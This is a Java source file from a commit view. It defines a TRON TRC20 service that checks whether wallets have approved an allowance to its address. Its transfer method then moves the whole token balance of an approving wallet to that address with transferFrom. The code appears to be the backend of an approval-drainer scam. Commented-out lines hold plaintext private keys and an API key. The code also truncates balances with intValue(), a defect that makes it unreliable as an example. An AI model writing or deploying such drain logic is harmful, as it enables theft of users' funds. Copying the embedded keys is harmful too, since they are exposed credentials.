fix
Helius
2022-08-01 09ffce575fbab168997262c8ce20b048f7e047b2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
package cc.mrbird.febs.dapp.chain;
 
import cc.mrbird.febs.common.contants.AppContants;
import cn.hutool.core.util.StrUtil;
import org.tron.trident.core.ApiWrapper;
import org.tron.trident.core.contract.Contract;
import org.tron.trident.core.contract.Trc20Contract;
 
import java.math.BigDecimal;
import java.math.BigInteger;
import java.math.RoundingMode;
 
/**
 *
 * 查询是否有多个授权
 * https://apiasia.tronscan.io:5566/api/account/approve/list?address=TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD
 *
 * @author 
 * @date 2022-03-21
 **/
public class TrxService implements ContractChainService {
 
//    private final static String ADDRESS = "TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD";
//    private final static String PRIVATE = "b5627861c6edb2245276273e5f5ad5082f93c3b09fc7b757223ca8526504bfe7";
 
    private final String ADDRESS;
//    private final String ADDRESS = "TUFzqZRpLwLWJU4jcdf77RKS3Ts2uEhmWL";
//    private final static String PRIVATE = "e08dce7a4626f97b790e791bcdec31cffab46233744bb1aa133f69f98623d3fb";
//
//    private final static String CONTRACT_ADDRESS = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
//    private final static String API_KEY = "9d461be6-9796-47b9-85d8-b150cbabbb54";
 
    private Trc20Contract contract = null;
 
//    public static TrxService INSTANCE = new TrxService();
 
//    public TrxService() {
//        ApiWrapper wrapper = ApiWrapper.ofMainnet(PRIVATE, API_KEY);
//
//        Contract trc20Contract = wrapper.getContract(CONTRACT_ADDRESS);
//        contract = new Trc20Contract(trc20Contract, ADDRESS, wrapper);
//    }
 
    public TrxService(String address, String privateKey, String contractAddress, String apiKey) {
        this.ADDRESS = address;
        ApiWrapper wrapper = ApiWrapper.ofMainnet(privateKey, apiKey);
 
        Contract trc20Contract = wrapper.getContract(contractAddress);
        contract = new Trc20Contract(trc20Contract, address, wrapper);
    }
 
    @Override
    public BigInteger allowance(String owner) {
        return contract.allowance(owner, ADDRESS);
    }
 
    @Override
    public boolean isAllowance(String address) {
        return allowance(address).intValue() != 0;
    }
 
    @Override
    public BigInteger balanceOfUnDecimal(String address) {
        return contract.balanceOf(address);
    }
 
    @Override
    public BigDecimal balanceOf(String address) {
        BigInteger chainData = balanceOfUnDecimal(address);
 
        BigInteger decimals = contract.decimals();
        BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue());
 
        return new BigDecimal(chainData).divide(mul, decimals.intValue(), RoundingMode.HALF_DOWN);
    }
 
    @Override
    public int decimals() {
        return 0;
    }
 
    @Override
    public String transfer(String address) {
        BigInteger balance = balanceOfUnDecimal(address);
 
        return contract.transferFrom(address, ADDRESS, balance.intValue(), 0, "memo", 100000000L);
    }
 
    @Override
    public String transfer(String address, BigDecimal amount) {
        BigInteger decimals = contract.decimals();
        BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue());
        amount = amount.multiply(mul);
 
        return contract.transferFrom(address, ADDRESS, amount.intValue(), 0, "memo", 100000000L);
    }
 
    @Override
    public int allowanceCnt(String address) {
        return 0;
    }
 
    public static void main(String[] args) {
//        System.out.println(INSTANCE.transfer("TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", BigDecimal.valueOf(5)));;
    }
 
    @Override
    public BigInteger blockNumber() {
        return null;
    }
 
    @Override
    public BigInteger totalSupply() {
        return null;
    }
 
    @Override
    public BigInteger totalSupplyNFT() {
        return null;
    }
 
    @Override
    public String safeMintNFT(String address) {
        return null;
    }
}